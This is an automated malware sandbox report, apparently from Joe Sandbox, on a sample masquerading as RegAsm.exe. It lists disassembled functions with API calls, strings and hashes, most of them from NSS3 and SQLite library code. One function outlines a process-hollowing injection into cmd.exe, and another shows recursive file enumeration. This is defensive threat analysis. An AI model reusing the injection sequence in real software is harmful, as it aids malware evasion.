Instruction Fuzzy Hash: 7C72B075E012199FDF20CF28CC8879ABBB4AF59304F1141EAD80DA7741E731AA85CF91

Function 6C21AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C21ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6C21ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6C21ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6C21AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C21ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C21ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C21ADF0

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C21B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C21B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C21B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C21B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6C21B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C21B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C21B40C

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Error$Arena_Free$ArenaItem_memset$Alloc_CopyEncodeInteger_Mark_ValueZfree
String ID:
API String ID: 1285963562-0
Opcode ID: 10ba990c5f41f8403ead16b4707f01baf1427442be4e0466928f8bed056752f0
Instruction ID: 19c9cac1fe8d78e633e8689d142f283312c3c137bfca374dc33ea8653718b373
Opcode Fuzzy Hash: 10ba990c5f41f8403ead16b4707f01baf1427442be4e0466928f8bed056752f0
Instruction Fuzzy Hash: 5E22A0B1908305AFE710CF14CC45B9677F1AF84308F248568FE585BB92EB72E859CB96

Function 6C19ECD0 Relevance: 33.8, APIs: 7, Strings: 12, Instructions: 539COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C19ED38

Part of subcall function 6C134F60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C134FC4

sqlite3_mprintf.NSS3(snippet), ref: 6C19EF3C
sqlite3_mprintf.NSS3(offsets), ref: 6C19EFE4

Part of subcall function 6C25DFC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C135001,?,00000003,00000000), ref: 6C25DFD7

sqlite3_mprintf.NSS3(matchinfo), ref: 6C19F087
sqlite3_mprintf.NSS3(matchinfo), ref: 6C19F129
sqlite3_mprintf.NSS3(optimize), ref: 6C19F1D1
sqlite3_free.NSS3(?), ref: 6C19F368

Strings

fts3_tokenizer, xrefs: 6C19EE1A, 6C19EEA8
fts4aux, xrefs: 6C19ECF9
simple, xrefs: 6C19ED79
fts4, xrefs: 6C19F2AD
snippet, xrefs: 6C19EF05, 6C19EF37, 6C19EF7C
offsets, xrefs: 6C19EFAF, 6C19EFDF, 6C19F01F
porter, xrefs: 6C19ED97
fts3tokenize, xrefs: 6C19F30F
optimize, xrefs: 6C19F199, 6C19F1CC, 6C19F211
fts3, xrefs: 6C19F247
unicode61, xrefs: 6C19EDB5
matchinfo, xrefs: 6C19F04F, 6C19F082, 6C19F0C2, 6C19F0F2, 6C19F124, 6C19F169

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 0fe362b872996cd3e4806d3b3e4a29369c39b524bf2d4676fd111030568ae9bb
Instruction ID: db3a99f0a1893eea6de1473d1e09edb44303a1d99cb487df42b1ca0e3fccb777
Opcode Fuzzy Hash: 0fe362b872996cd3e4806d3b3e4a29369c39b524bf2d4676fd111030568ae9bb
Instruction Fuzzy Hash: FE0202B2B043006FE7049F32984576B76B6BBD560CF14853DE8AA57B00EB78E946C782

Function 00415AD4 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 179stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415AF9
HeapAlloc.KERNEL32(00000000), ref: 00415B00
wsprintfA.USER32 ref: 00415B19
FindFirstFileA.KERNEL32(?,?), ref: 00415B30
StrCmpCA.SHLWAPI(?,00436A90), ref: 00415B51
StrCmpCA.SHLWAPI(?,00436A94), ref: 00415B6B
wsprintfA.USER32 ref: 00415B92

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004157D6: _memset.LIBCMT ref: 0041580E
Part of subcall function 004157D6: _memset.LIBCMT ref: 0041581F
Part of subcall function 004157D6: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 0041584A
Part of subcall function 004157D6: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00415868
Part of subcall function 004157D6: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 0041587C
Part of subcall function 004157D6: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041588F
Part of subcall function 004157D6: StrStrA.SHLWAPI(00000000), ref: 00415933

FindNextFileA.KERNEL32(?,?), ref: 00415CA1
FindClose.KERNEL32(?), ref: 00415CB5
lstrcatA.KERNEL32(?), ref: 00415CE3
lstrcatA.KERNEL32(?), ref: 00415CF6
lstrlenA.KERNEL32(?), ref: 00415D02
lstrlenA.KERNEL32(?), ref: 00415D1F

Strings

%s\%s, xrefs: 00415B8C
%s\*, xrefs: 00415B13

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$Findlstrlen$FileHeap_memsetwsprintf$AllocCloseFirstNextProcessSystemTime
String ID: %s\%s$%s\*
API String ID: 2347508687-2848263008
Opcode ID: 5fce76a7b6451d1c2dcc6da36151b81ccc9742cab7e17c5f73f4a3ececc35bae
Instruction ID: f1edd606a7142868c12854d8a5fcf35de759865f5552cccb95c30be1a86df6f2
Opcode Fuzzy Hash: 5fce76a7b6451d1c2dcc6da36151b81ccc9742cab7e17c5f73f4a3ececc35bae
Instruction Fuzzy Hash: 31714EB190022C9BDF20EF60DD49ACD77B9AF45305F0004EAA609A3151EB7AAFC5CF59

Function 0041C43C Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 0041C767

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: UT
API String ID: 0-894488996
Opcode ID: a7d05ec4342e7f626d486cd3ad54bc328d5b64d12a9baaccd0cef8f018a4e1f1
Instruction ID: f65dfca2b8ec6501c8e56a8e52f37e3595067880d2113cbf7b43c4e1cca993a9
Opcode Fuzzy Hash: a7d05ec4342e7f626d486cd3ad54bc328d5b64d12a9baaccd0cef8f018a4e1f1
Instruction Fuzzy Hash: 1E025BB19442688BDF21DF64CC807EEBBB5AF45304F1440EAD949AB242D6389EC5CF99

Function 0040F54A Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F57C
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,004365A7,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0040F5A0
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040F5B2
GetThreadContext.KERNEL32(?,00000000), ref: 0040F5C4
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F5E2
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040F5F8
ResumeThread.KERNEL32(?), ref: 0040F608
WriteProcessMemory.KERNEL32(?,00000000,*-A,?,00000000), ref: 0040F627
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F65D
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F684
SetThreadContext.KERNEL32(?,00000000), ref: 0040F696
ResumeThread.KERNEL32(?), ref: 0040F69F

Strings

C:\Windows\System32\cmd.exe, xrefs: 0040F59B
*-A, xrefs: 0040F550, 0040F620

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: *-A$C:\Windows\System32\cmd.exe
API String ID: 3621800378-2235875936
Opcode ID: d707304ec0540c2e10840670d6fdb08df447f6207f32fd81527c97c909703e2c
Instruction ID: 76902b962596da7efa99dadeb471d37ec2d144cbe5b0299f67ebe2db43022ee8
Opcode Fuzzy Hash: d707304ec0540c2e10840670d6fdb08df447f6207f32fd81527c97c909703e2c
Instruction Fuzzy Hash: 3E413872A00208AFEB11DFA8DC85FAAB7B9FF48705F144475FA01E6161E776AD448B24

Function 6C1AEF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1AEF63

Part of subcall function 6C1B87D0: PORT_NewArena_Util.NSS3(00000800,6C1AEF74,00000000), ref: 6C1B87E8
Part of subcall function 6C1B87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6C1AEF74,00000000), ref: 6C1B87FD
Part of subcall function 6C1B87D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C1B884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6C1AF2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1AF2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6C1AF30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6C1AF374
PL_strcasecmp.NSS3(6C2F2FD4,?), ref: 6C1AF457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6C1AF4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C1AF66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C1AF67D
CERT_DestroyName.NSS3(?), ref: 6C1AF68B

Part of subcall function 6C1B8320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6C1B8338
Part of subcall function 6C1B8320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C1B8364
Part of subcall function 6C1B8320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6C1B838E
Part of subcall function 6C1B8320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6C1B83A5
Part of subcall function 6C1B8320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1B83E3

Part of subcall function 6C1B84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6C1B84D9
Part of subcall function 6C1B84C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C1B8528

Part of subcall function 6C1B8900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6C1AF599,?,00000000), ref: 6C1B8955

Strings

oid., xrefs: 6C1AF2CF
*, xrefs: 6C1AF3C6
", xrefs: 6C1AF21B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: 3a699c18857994c53228711b1283284f2b0602e0108226389da7557e7dbf77cc
Instruction ID: 047cb80b959521c4e8d4a9f3c66274179f8a723c9e90b44aa1309dce590ef4f4
Opcode Fuzzy Hash: 3a699c18857994c53228711b1283284f2b0602e0108226389da7557e7dbf77cc
Instruction Fuzzy Hash: 1C225B796083408FD314CEA9C49036AB7E6AB95318F19462EE5E9C77A1E735DC07CB82

Function 6C21EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C21C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C21DAE2,?), ref: 6C21C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C21F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C21F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6C21F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C21F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6C2E218C), ref: 6C21F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6C21F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C21F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C21F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C21F210

Part of subcall function 6C1C52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6C21F1E9,?,00000000,?,?), ref: 6C1C52F5
Part of subcall function 6C1C52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6C1C530F
Part of subcall function 6C1C52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6C1C5326
Part of subcall function 6C1C52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6C21F1E9,?,00000000,?,?), ref: 6C1C5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C21F227

Part of subcall function 6C20FAB0: free.MOZGLUE(?,-00000001,?,?,6C1AF673,00000000,00000000), ref: 6C20FAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6C21F23E

Part of subcall function 6C20BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C1BE708,00000000,00000000,00000004,00000000), ref: 6C20BE6A
Part of subcall function 6C20BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C1C04DC,?), ref: 6C20BE7E
Part of subcall function 6C20BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C20BEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C21F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C21F3A8

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C21F3B3

Part of subcall function 6C1C2D20: PK11_DestroyObject.NSS3(?,?), ref: 6C1C2D3C
Part of subcall function 6C1C2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C1C2D5F

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 16dd1b67556d6303a1a50f237598b32acee6785d80f88479b24910bcaf25f58d
Instruction ID: 958f4e94c4c12a18be3c7a740e110c86908a5ba70fb7125b13001d72af76ed90
Opcode Fuzzy Hash: 16dd1b67556d6303a1a50f237598b32acee6785d80f88479b24910bcaf25f58d
Instruction Fuzzy Hash: E8D180B5E0524A9FDB14CF99D880A9FB7F5EF48308F158029EE25A7B11EB31E805CB50

Function 6C13ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C13ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C13EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C13EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C13EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C13F483
%s at line %d of [%.10s], xrefs: 6C13F492
database corruption, xrefs: 6C13F48D

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 70c34892fd776546fbf5f820f59922cc763c04dd490995c34034da4f653ea4c5
Instruction ID: 5c0e3fcc8f2a7fb293ab51ff3e1731851af8e7889a4b7243874ea45d61fa22c4
Opcode Fuzzy Hash: 70c34892fd776546fbf5f820f59922cc763c04dd490995c34034da4f653ea4c5
Instruction Fuzzy Hash: 67622470A04365CFEB04CF29C480B9ABBB1BF5531CF199199D8695BB92D335EC86CB90

Function 6C14AEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C26CF46,?,6C13CDBD,?,6C26BF31,?,?,?,?,?,?,?), ref: 6C14B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C26CF46,?,6C13CDBD,?,6C26BF31), ref: 6C14B090
sqlite3_free.NSS3(?,?,?,?,?,?,6C26CF46,?,6C13CDBD,?,6C26BF31), ref: 6C14B0A2
CloseHandle.KERNEL32(?,?,6C26CF46,?,6C13CDBD,?,6C26BF31,?,?,?,?,?,?,?,?,?), ref: 6C14B100
sqlite3_free.NSS3(?,?,00000002,?,6C26CF46,?,6C13CDBD,?,6C26BF31,?,?,?,?,?,?,?), ref: 6C14B115
sqlite3_free.NSS3(?,?,?,?,?,?,6C26CF46,?,6C13CDBD,?,6C26BF31), ref: 6C14B12D

Part of subcall function 6C139EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C14C6FD,?,?,?,?,6C19F965,00000000), ref: 6C139F0E
Part of subcall function 6C139EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C19F965,00000000), ref: 6C139F5D

Strings

`,l, xrefs: 6C14B0DF

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `,l
API String ID: 3155957115-3859844005
Opcode ID: 90b55966b2aaeccb01597ad5b839828af9c80d6065d47439fc831b0f10397f92
Instruction ID: dfa0a78811c4b688c4c302cb820fbc9f9f9fa2128fc2e54cc3a1bda0e23764b4
Opcode Fuzzy Hash: 90b55966b2aaeccb01597ad5b839828af9c80d6065d47439fc831b0f10397f92
Instruction Fuzzy Hash: AD91DCB1A04605CFEB04CF25D881BAFB7B5BF56309F15863DE41A97A50EB34E840CB91

Function 6C1E0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C1E0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C1E0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C1E1006
PK11_FreeSymKey.NSS3(?), ref: 6C1E101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C1E1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C1E103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C1E1048
memcpy.VCRUNTIME140(?,?,?), ref: 6C1E108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C1E10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C1E10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C1E112E

Part of subcall function 6C1E1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C1E08C4,?,?), ref: 6C1E15B8
Part of subcall function 6C1E1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C1E08C4,?,?), ref: 6C1E15C1
Part of subcall function 6C1E1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1E162E
Part of subcall function 6C1E1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C1E1637

Memory Dump Source

